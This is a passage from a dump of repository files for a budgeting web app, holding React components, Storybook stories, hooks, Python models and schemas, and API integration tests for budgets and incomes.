'../../hooks/useNavigateKeepingSearch';\nimport useSelection from '../../hooks/useSelection';\nimport actionPropsShape from '../../utils/action-props';\nimport toList from '../../utils/to-list';\nimport NavIconList from '../NavIconList';\nimport PureActionMenu from '../PureActionMenu';\nimport PureAppBar from '../PureAppBar';\nimport PureDrawer from '../PureDrawer';\nimport useDrawerState from './useDrawerState';\n\nconst FullAppBar = ({ back, primaryActions, secondaryActions, selectionActions, title }) => {\n const [drawerOpen, toggleDrawer] = useDrawerState();\n\n const { clear, selected } = useSelection();\n const hasSelection = selected && selected.length > 0;\n\n const [overflowMenuAnchor, setOverflowMenuAnchor] = React.useState(null);\n const handleOpenOverflowMenu = (e) => setOverflowMenuAnchor(e.currentTarget);\n const handleCloseOverflowMenu = () => setOverflowMenuAnchor(null);\n\n const mobile = useMobile();\n const navigate = useNavigateKeepingSearch();\n\n const navActionProps = React.useMemo(() => {\n if (hasSelection) {\n return {\n 'aria-label': 'clear selection',\n icon: <CloseIcon />,\n onClick: clear,\n text: 'Clear selection',\n };\n }\n if (back) {\n return {\n 'aria-label': 'go to previous page',\n icon: <ArrowBackIcon />,\n onClick: () => navigate(typeof back === 'function' ? back() : back),\n text: 'Go to previous page',\n };\n }\n return {\n 'aria-label': 'open nav drawer',\n icon: <MenuIcon />,\n onClick: toggleDrawer,\n text: 'Toggle nav drawer',\n };\n }, [back, clear, hasSelection, navigate, toggleDrawer]);\n\n const appBarTitle = hasSelection ? `${selected.length} Selected` : title;\n\n let actionProps = toList(hasSelection ? selectionActions : primaryActions);\n let overflowActions = hasSelection ? [] : toList(secondaryActions);\n let overflowMenu = null;\n\n // If we have to truncate, move all actions into overflow actions\n if (mobile && actionProps.length + overflowActions.length > 2) {\n overflowActions = [...actionProps, ...overflowActions];\n actionProps = [];\n }\n\n if (overflowActions.length > 0) {\n overflowMenu = (\n <PureActionMenu\n actions={overflowActions}\n anchor={overflowMenuAnchor}\n onClose={handleCloseOverflowMenu}\n />\n );\n actionProps.push({\n 'aria-label': 'open actions menu',\n icon: <MoreVertIcon />,\n onClick: handleOpenOverflowMenu,\n text: 'Open actions menu',\n });\n }\n\n return (\n <>\n <PureAppBar actions={actionProps} navAction={navActionProps} title={appBarTitle} />\n {overflowMenu}\n <PureDrawer\n onClose={toggleDrawer}\n onOpen={toggleDrawer}\n open={drawerOpen}\n variant={mobile ? 'temporary' : 'permanent'}\n >\n <NavIconList />\n </PureDrawer>\n </>\n );\n};\n\nconst actionPropsType = PropTypes.oneOfType([\n actionPropsShape,\n PropTypes.arrayOf(actionPropsShape),\n]);\n\nFullAppBar.propTypes = {\n back: PropTypes.oneOfType([\n PropTypes.string,\n PropTypes.shape({\n pathname: PropTypes.string,\n search: PropTypes.string,\n }),\n ]),\n primaryActions: actionPropsType,\n secondaryActions: actionPropsType,\n selectionActions: actionPropsType,\n title: PropTypes.string,\n};\n\nFullAppBar.defaultProps = {\n back: null,\n primaryActions: null,\n secondaryActions: null,\n selectionActions: null,\n title: undefined,\n};\n\nexport default FullAppBar;\n" }, { "alpha_fraction": 0.6465408802032471, "alphanum_fraction": 0.6572327017784119, "avg_line_length": 23.461538314819336, "blob_id": "1d25be6d94ed46d6f9afd93547d32f76da13b6ef", "content_id": "41e8b17ae5253b49c59cdd3bd12c05ee28b837c4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1590, "license_type": "permissive", "max_line_length": 75, "num_lines": 65, "path": "/webapp/src/features/reconciliations/routes/__stories__/ReconciliationPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { Route, Routes } from 'react-router-dom';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport {\n accountGenerator,\n reconciliationGenerator,\n transactionsGenerator,\n} from 'test/data-generators';\nimport ReconciliationPage from '../ReconciliationPage';\n\nexport default {\n title: 'reconciliations/ReconciliationPage',\n component: ReconciliationPage,\n decorators: [\n (story) => (\n <Routes>\n <Route path='/reconciliation/:id/*' element={story()} />\n </Routes>\n ),\n (story) => <AppProviders>{story()}</AppProviders>,\n (story) => {\n setSelectedLedger('2');\n return story();\n },\n ],\n parameters: {\n initialRoute: '/reconciliation/13',\n },\n};\n\nconst setupApi = (total) => ({\n get: [\n ['/api/ledgers/2', { currency: 840 }],\n ['/api/accounts/7', accountGenerator()],\n ['/api/reconciliations/13', reconciliationGenerator({ accountId: 7 })],\n [\n /\\/api\\/reconciliations\\/13\\/transactions.*/,\n {\n transactions: transactionsGenerator(total),\n total,\n },\n ],\n ],\n});\n\nconst Template = () => <ReconciliationPage />;\n\nexport const NoReconciliation = Template.bind({});\n\nexport const NoTransactions = Template.bind({});\nNoTransactions.parameters = {\n api: setupApi(0),\n};\n\nexport const SeveralTransactions = Template.bind({});\nSeveralTransactions.parameters = {\n api: setupApi(5),\n};\n\nexport const ManyTransactions = Template.bind({});\nManyTransactions.parameters = {\n api: setupApi(26),\n};\n" }, { "alpha_fraction": 0.6679649353027344, "alphanum_fraction": 0.6689386367797852, "avg_line_length": 24.04878044128418, "blob_id": "a0b47be797e07deb56d514ba4c50b2e58c299e6f", "content_id": "ddb89c6531b14c42809e6ce3e3cbae885565fdb6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1027, "license_type": "permissive", "max_line_length": 77, "num_lines": 41, "path": "/webapp/src/features/ledgers/components/ModifyLedgerDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchLedger from '../hooks/useFetchLedger';\nimport useModifyLedger from '../hooks/useModifyLedger';\nimport LedgerForm from './LedgerForm';\n\nconst noLedger = {\n name: '',\n currency: 0,\n};\n\nconst ModifyLedgerDialog = () => {\n const navigate = useNavigateKeepingSearch();\n const { id } = useParams();\n const { data } = useFetchLedger(\n { id },\n {\n onError: () => navigate('../../'),\n },\n );\n const ledger = data || noLedger;\n const { mutate } = useModifyLedger();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={LedgerForm}\n initialValues={ledger}\n onExitNavigateTo='../../'\n onSubmit={mutate}\n title='Modify Ledger'\n validationSchema={LedgerForm.validationSchema}\n />\n );\n};\n\nexport default ModifyLedgerDialog;\n" }, { "alpha_fraction": 0.7889181971549988, "alphanum_fraction": 0.7889181971549988, "avg_line_length": 74.80000305175781, "blob_id": "ed90c66cd7ac05a1ded522e07855949542091170", "content_id": "233203f5affabbaf5921a920857de5ef643191aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 379, "license_type": "permissive", "max_line_length": 86, "num_lines": 5, "path": "/webapp/src/features/accounts/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default as AccountSelectField } from './components/AccountSelectField';\nexport { default as useAccountName } from './hooks/useAccountName';\nexport { default as useFetchAccount } from './hooks/useFetchAccount';\nexport { default as AccountTransactionsPage } from './routes/AccountTransactionsPage';\nexport { default as AccountsListPage } from './routes/AccountsListPage';\n" }, { "alpha_fraction": 0.7121621370315552, "alphanum_fraction": 0.7148648500442505, "avg_line_length": 27.461538314819336, "blob_id": "9387cc4fb329ad65366d2eeac612b813bac9d6a8", "content_id": "80dc1d8cac119cb4dd03ca27055e4d53caef1f73", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 740, "license_type": "permissive", "max_line_length": 65, "num_lines": 26, "path": "/webapp/src/features/transactions/components/__stories__/CreateTransactionDialog.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateTransactionDialog from '../CreateTransactionDialog';\n\nexport default {\n title: 'transactions/CreateTransactionDialog',\n component: CreateTransactionDialog,\n decorators: [\n (story) => <AppProviders>{story()}</AppProviders>,\n (story, { parameters }) => {\n setSelectedLedger('2');\n setupMockApi(parameters);\n return story();\n },\n ],\n};\n\nexport const Desktop = () => <CreateTransactionDialog />;\n\nexport const Mobile = Desktop.bind({});\nMobile.parameters = {\n viewport: { defaultViewport: 'mobile1' },\n};\n" }, { "alpha_fraction": 0.6644737124443054, "alphanum_fraction": 0.6644737124443054, "avg_line_length": 18, "blob_id": "adc3b62475623054cfee26868c6d3ff6fd531157", "content_id": "cff17ace77aaf8d3331a873c6d25266183317512", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "permissive", "max_line_length": 38, "num_lines": 8, "path": "/backend/underbudget/schemas/common.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Generic common schemas \"\"\"\nfrom marshmallow import Schema, fields\n\n\nclass IdSchema(Schema):\n \"\"\" Simple ID schema \"\"\"\n\n id = fields.Integer()\n" }, { "alpha_fraction": 0.644866406917572, "alphanum_fraction": 0.650492250919342, "avg_line_length": 25.830188751220703, "blob_id": "526866d27c447df14607a1613f1121cb6bea9622", "content_id": "34ffc528ba3a99bfd388d21076ec134783248562", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1422, "license_type": "permissive", "max_line_length": 96, "num_lines": 53, "path": "/webapp/src/features/reconciliations/routes/__tests__/AccountReconciliationsPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport AccountReconciliationsPage from '../AccountReconciliationsPage';\n\nconst render = (configureApi = () => 0) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n configureApi(mockApi);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/account/:id/reconciliations' element={<AccountReconciliationsPage />} />\n </Routes>\n </QueryClientProvider>,\n { route: '/account/9/reconciliations' },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should use account ID from route', async () => {\n render((api) => {\n api.onGet('/api/accounts/9').reply(200, {\n name: 'The Account Name',\n });\n });\n\n await waitFor(() =>\n expect(\n screen.getByRole('heading', { name: 'The Account Name Reconciliations' }),\n ).toBeInTheDocument(),\n );\n});\n" }, { "alpha_fraction": 0.7291666865348816, "alphanum_fraction": 0.7291666865348816, "avg_line_length": 47, "blob_id": "94972a88da9a88ce36b8c4f82281ddcc7c46c303", "content_id": "76f79ad50ad876c554dd2df27f5ecc28b6ce9769", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 48, "license_type": "permissive", "max_line_length": 47, "num_lines": 1, "path": "/webapp/src/common/components/CurrencyInputField/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './CurrencyInputField';\n" }, { "alpha_fraction": 0.7045454382896423, "alphanum_fraction": 0.7045454382896423, "avg_line_length": 43, "blob_id": "62f30c083c87b99f8fbef1b559d4489c5e735af5", "content_id": "dd5f0fe4c68b15c6130e65285c1fbc486127179c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 44, "license_type": "permissive", "max_line_length": 43, "num_lines": 1, "path": "/webapp/src/common/components/PureActionMenu/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './PureActionMenu';\n" }, { "alpha_fraction": 0.7036346793174744, "alphanum_fraction": 0.7036346793174744, "avg_line_length": 30.558822631835938, "blob_id": "fac76e2dc4438364bebd864a853c9d340b705952", "content_id": "8b72784d826fa7d43114da3597d40c3c63bcc2bb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1073, "license_type": "permissive", "max_line_length": 69, "num_lines": 34, "path": "/webapp/src/App.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import CssBaseline from '@material-ui/core/CssBaseline';\nimport { ThemeProvider } from '@material-ui/core/styles';\nimport useMediaQuery from '@material-ui/core/useMediaQuery';\nimport React, { useMemo } from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { BrowserRouter } from 'react-router-dom';\n\nimport AppProviders from 'common/components/AppProviders';\nimport createTheme from 'common/utils/createTheme';\nimport queryConfig from 'common/utils/queryConfig';\nimport { AppRoutes } from 'routes';\n\nconst queryClient = new QueryClient({ defaultOptions: queryConfig });\n\nfunction App() {\n const darkMode = useMediaQuery('(prefers-color-scheme: dark)');\n\n const theme = useMemo(() => createTheme(darkMode), [darkMode]);\n\n return (\n <ThemeProvider theme={theme}>\n <CssBaseline />\n <QueryClientProvider client={queryClient}>\n <BrowserRouter>\n <AppProviders>\n <AppRoutes />\n </AppProviders>\n </BrowserRouter>\n </QueryClientProvider>\n </ThemeProvider>\n );\n}\n\nexport default App;\n" }, { "alpha_fraction": 0.6974359154701233, "alphanum_fraction": 0.7051281929016113, "avg_line_length": 26.85714340209961, "blob_id": "58529b85fab1b5642d2842922c966d2fbd13d08a", "content_id": "17417903af593b156327b0c11a6c9132afe250bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "permissive", "max_line_length": 57, "num_lines": 14, "path": "/backend/underbudget/models/ledger.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Ledger database model \"\"\"\nfrom underbudget.database import db\nfrom underbudget.models.base import AuditModel, CrudModel\n\n\nclass LedgerModel(db.Model, AuditModel, CrudModel):\n \"\"\" Ledger model \"\"\"\n\n __tablename__ = \"ledger\"\n\n id = db.Column(db.Integer, primary_key=True)\n\n name = db.Column(db.String(128), nullable=False)\n currency = db.Column(db.Integer, nullable=False)\n" }, { "alpha_fraction": 0.7363636493682861, "alphanum_fraction": 0.7363636493682861, "avg_line_length": 21, "blob_id": "a74fb6e9afcd9705a38ebae630b0c3c8127f0e87", "content_id": "715ba93f7163f2329aedd5a6554cabfff412ed68", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 110, "license_type": "permissive", "max_line_length": 48, "num_lines": 5, "path": "/webapp/src/common/hooks/useMountEffect.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nexport default function useMountEffect(effect) {\n React.useEffect(effect, []);\n}\n" }, { "alpha_fraction": 0.6390243768692017, "alphanum_fraction": 0.6390243768692017, "avg_line_length": 31.36842155456543, "blob_id": "166db03909d1f473cb6566fa188587dc487b5bf2", "content_id": "ca9c7c694632b6a381a43009483e1dc51b14bd77", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 615, "license_type": "permissive", "max_line_length": 100, "num_lines": 19, "path": "/webapp/src/features/budgets/hooks/useModifyAnnualExpense.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport toString from 'lodash/toString';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default (budgetId, opts) => {\n return useMutation(\n ({ created, lastUpdated, id, ...data }) => axios.put(`/api/budget-annual-expenses/${id}`, data),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to modify annual expense' }),\n refetchQueries: (_, { id }) => [\n ['budget-annual-expense', toString(id)],\n ['budget-annual-expenses', { budgetId }],\n ],\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.7114093899726868, "alphanum_fraction": 0.7114093899726868, "avg_line_length": 39.6363639831543, "blob_id": "bddff75ee45290958bc4319598a3768d23ddba89", "content_id": "7c8602581dec6fceb093b0c148bba4c0cb9fe5d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 447, "license_type": "permissive", "max_line_length": 94, "num_lines": 11, "path": "/webapp/src/features/budgets/hooks/useCreateAnnualExpense.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default (budgetId, opts) => {\n return useMutation((data) => axios.post(`/api/budgets/${budgetId}/annual-expenses`, data), {\n createErrorMessage: useErrorMessage({ request: 'Unable to create annual expense' }),\n refetchQueries: [['budget-annual-expenses', { budgetId }]],\n ...opts,\n });\n};\n" }, { "alpha_fraction": 0.6998662948608398, "alphanum_fraction": 0.6998662948608398, "avg_line_length": 33.79069900512695, "blob_id": "2cf08950d046a6126db56592778a59b45e01d1c1", "content_id": "dc8777f99536281279c22f48eb869045c8ca0421", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1496, "license_type": "permissive", "max_line_length": 86, "num_lines": 43, "path": "/webapp/src/features/accounts/routes/AccountsListPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddCircleIcon from '@material-ui/icons/AddCircle';\nimport CreateNewFolderIcon from '@material-ui/icons/CreateNewFolder';\nimport React from 'react';\nimport { Routes, Route } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport AccountsList from '../components/AccountsList';\nimport CreateAccountCategoryDialog from '../components/CreateAccountCategoryDialog';\nimport CreateAccountDialog from '../components/CreateAccountDialog';\nimport ModifyAccountCategoryDialog from '../components/ModifyAccountCategoryDialog';\n\nconst AccountsListPage = () => {\n const navigate = useNavigateKeepingSearch();\n\n const actions = [\n {\n 'aria-label': 'Create account',\n icon: <AddCircleIcon />,\n onClick: () => navigate('create'),\n text: 'Create account',\n },\n {\n 'aria-label': 'Create account category',\n icon: <CreateNewFolderIcon />,\n onClick: () => navigate('create-category'),\n text: 'Create category',\n },\n ];\n\n return (\n <FullAppPage primaryActions={actions} title='Accounts'>\n <AccountsList />\n <Routes>\n <Route path='create-category' element={<CreateAccountCategoryDialog />} />\n <Route path='modify-category/:id' element={<ModifyAccountCategoryDialog />} />\n <Route path='create' element={<CreateAccountDialog />} />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default AccountsListPage;\n" }, { "alpha_fraction": 0.5292724370956421, "alphanum_fraction": 0.5493624806404114, "avg_line_length": 36.74393081665039, "blob_id": "ac86d9318eaa81f6368d85d286b7ba22e7590987", "content_id": "61f4c626bbbda7998bb54b4450633f410c48a2dc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34196, "license_type": "permissive", "max_line_length": 87, "num_lines": 906, "path": "/backend/underbudget/tests/test_budgets.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for budget APIs \"\"\"\nfrom jsonpath_ng.ext import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\n# pylint: disable=too-many-public-methods\nclass BudgetsTestCase(BaseTestCase):\n \"\"\" Integration tests for budget APIs \"\"\"\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_budget_requires_valid_ledger(self, ledger_id=None):\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets\",\n json={\"name\": \"Test Budget\", \"periods\": 12},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Test Budget\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_budget_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets\", json={key: value, \"periods\": 12}\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Periods\", 12, 400),\n (\"periods\", \"\", 400),\n (\"periods\", None, 400),\n (\"periods\", 0, 400),\n (\"periods\", \"1\", 201),\n (\"periods\", 1, 201),\n (\"periods\", 2, 201),\n (\"periods\", 3, 201),\n (\"periods\", 4, 201),\n (\"periods\", 5, 400),\n (\"periods\", 6, 201),\n (\"periods\", 12, 201),\n (\"periods\", 24, 201),\n (\"periods\", 26, 201),\n (\"periods\", 52, 201),\n ]\n )\n def test_budget_requires_valid_periods(self, key, value, code):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets\",\n json={\"name\": \"Test Budget\", key: value},\n )\n assert resp.status_code == code\n\n def test_budget_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/budgets\", {\"name\": \"Test Budget\", \"periods\": 12}\n )\n\n def test_budget_is_audited(self):\n ledger_id = self.create_ledger()\n self._test_resource_is_audited(\n f\"/api/ledgers/{ledger_id}/budgets\",\n \"/api/budgets\",\n {\"name\": \"Test Budget\", \"periods\": 12},\n )\n\n def test_budget_modification(self):\n ledger_id = self.create_ledger()\n self._test_resource_is_modifiable(\n f\"/api/ledgers/{ledger_id}/budgets\",\n \"/api/budgets\",\n {\"name\": \"Original Budget\", \"periods\": 12},\n {\"name\": \"Modified Budget\", \"periods\": 24},\n )\n\n def test_budget_deletion(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n assert self.client.get(f\"/api/budgets/{budget_id}\").status_code == 200\n assert self.client.delete(f\"/api/budgets/{budget_id}\").status_code == 204\n assert self.client.get(f\"/api/budgets/{budget_id}\").status_code == 404\n\n def test_fetch_all_budgets(self):\n ledger_id = self.create_ledger()\n budget_1_id = self.create_budget(ledger_id, \"Budget 1\", periods=12)\n budget_2_id = self.create_budget(ledger_id, \"Budget 2\", periods=24)\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/budgets\")\n assert resp.status_code == 200\n\n assert [budget_1_id, budget_2_id] == [\n m.value for m in parse(\"budgets[*].id\").find(resp.json)\n ]\n assert [\"Budget 1\", \"Budget 2\"] == [\n m.value for m in parse(\"budgets[*].name\").find(resp.json)\n ]\n assert [12, 24] == [\n m.value for m in parse(\"budgets[*].periods\").find(resp.json)\n ]\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_active_budget_requires_valid_ledger(self, ledger_id=None):\n budget_id = self.create_budget(self.create_ledger())\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n json={\"budgetId\": budget_id, \"year\": 2021},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"BudgetId\", \"auto\"),\n (400, \"budgetId\", None),\n (400, \"budgetId\", \"\"),\n (404, \"budgetId\", 0),\n (404, \"budgetId\", -1),\n (404, \"budgetId\", 999),\n (400, \"budgetId\", \"other\"),\n (201, \"budgetId\", \"auto\"),\n ]\n )\n def test_active_budget_requires_valid_budget_id(self, code, key, value):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n other_ledger_id = self.create_ledger()\n other_budget_id = self.create_budget(other_ledger_id)\n\n if value == \"auto\":\n value = budget_id\n elif value == \"other\":\n value = other_budget_id\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n json={key: value, \"year\": 2021},\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (\"Year\", 2021),\n (\"year\", \"\"),\n (\"year\", None),\n ]\n )\n def test_active_budget_requires_valid_year(self, key, value):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n json={\"budgetId\": budget_id, key: value},\n )\n assert resp.status_code == 400\n\n def test_active_budget_rejected_for_duplicate_year(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n self.create_active_budget(ledger_id, budget_id, year=2021)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n json={\"budgetId\": budget_id, \"year\": 2021},\n )\n assert resp.status_code == 400\n\n def test_active_budget_not_found(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n self._test_crud_methods_against_non_existent_resource(\n \"/api/active-budgets\", {\"budgetId\": budget_id}\n )\n\n def test_active_budget_is_audited(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n self._test_resource_is_audited(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n \"/api/active-budgets\",\n {\"budgetId\": budget_id, \"year\": 2021},\n {\"budgetId\": budget_id},\n )\n\n def test_active_budget_modification(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n other_budget_id = self.create_budget(ledger_id)\n self._test_resource_is_modifiable(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n \"/api/active-budgets\",\n {\"budgetId\": budget_id, \"year\": 2021},\n {\"budgetId\": other_budget_id},\n )\n\n def test_active_budget_deletion(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n active_budget_id = self.create_active_budget(ledger_id, budget_id)\n assert (\n self.client.get(f\"/api/active-budgets/{active_budget_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(f\"/api/active-budgets/{active_budget_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/active-budgets/{active_budget_id}\").status_code\n == 404\n )\n\n def test_prevent_delete_of_budget_while_active(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n self.create_active_budget(ledger_id, budget_id)\n assert (self.client.delete(f\"/api/budgets/{budget_id}\")).status_code == 409\n\n def test_fetch_all_active_budgets(self):\n ledger_id = self.create_ledger()\n budget_1_id = self.create_budget(ledger_id, \"Budget 1\")\n budget_2_id = self.create_budget(ledger_id, \"Budget 2\")\n active_1_id = self.create_active_budget(ledger_id, budget_2_id, year=2021)\n active_2_id = self.create_active_budget(ledger_id, budget_1_id, year=2020)\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/active-budgets\")\n assert resp.status_code == 200\n\n assert [active_1_id, active_2_id] == [\n m.value for m in parse(\"activeBudgets[*].id\").find(resp.json)\n ]\n assert [budget_2_id, budget_1_id] == [\n m.value for m in parse(\"activeBudgets[*].budgetId\").find(resp.json)\n ]\n assert [\"Budget 2\", \"Budget 1\"] == [\n m.value for m in parse(\"activeBudgets[*].name\").find(resp.json)\n ]\n\n def test_fetch_active_budget(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id, \"Budget 1\")\n active_id = self.create_active_budget(ledger_id, budget_id, year=2021)\n\n resp = self.client.get(f\"/api/active-budgets/{active_id}\")\n assert resp.status_code == 200\n assert resp.json.get(\"budgetId\") == budget_id\n assert resp.json.get(\"name\") == \"Budget 1\"\n assert resp.json.get(\"year\") == 2021\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_periodic_income_requires_valid_budget(self, budget_id=None):\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n json={\"name\": \"Income\", \"amount\": 100},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Test Income\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_periodic_income_requires_valid_name(self, key, value):\n budget_id = self.create_budget(self.create_ledger())\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n json={key: value, \"amount\": 100},\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Amount\", 100),\n (\"amount\", \"\"),\n (\"amount\", None),\n (\"amount\", -2),\n (\"amount\", 0),\n ]\n )\n def test_periodic_income_requires_valid_amount(self, key, value):\n budget_id = self.create_budget(self.create_ledger())\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n json={\"name\": \"Income\", key: value},\n )\n assert resp.status_code == 400\n\n def test_periodic_income_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/budget-periodic-incomes\",\n {\"name\": \"Income\", \"amount\": 100},\n )\n\n def test_periodic_income_is_audited(self):\n budget_id = self.create_budget(self.create_ledger())\n self._test_resource_is_audited(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n \"/api/budget-periodic-incomes\",\n {\"name\": \"Income\", \"amount\": 100},\n )\n\n def test_periodic_income_modification(self):\n budget_id = self.create_budget(self.create_ledger())\n self._test_resource_is_modifiable(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n \"/api/budget-periodic-incomes\",\n {\"name\": \"Original Income\", \"amount\": 100},\n {\"name\": \"Modified Income\", \"amount\": 200},\n )\n\n def test_periodic_income_deletion(self):\n budget_id = self.create_budget(self.create_ledger())\n income_id = self.create_periodic_income(budget_id, 100)\n assert (\n self.client.get(f\"/api/budget-periodic-incomes/{income_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(f\"/api/budget-periodic-incomes/{income_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/budget-periodic-incomes/{income_id}\").status_code\n == 404\n )\n\n def test_fetch_all_periodic_incomes(self):\n budget_id = self.create_budget(self.create_ledger())\n income_1_id = self.create_periodic_income(\n budget_id, name=\"Income 1\", amount=100\n )\n income_2_id = 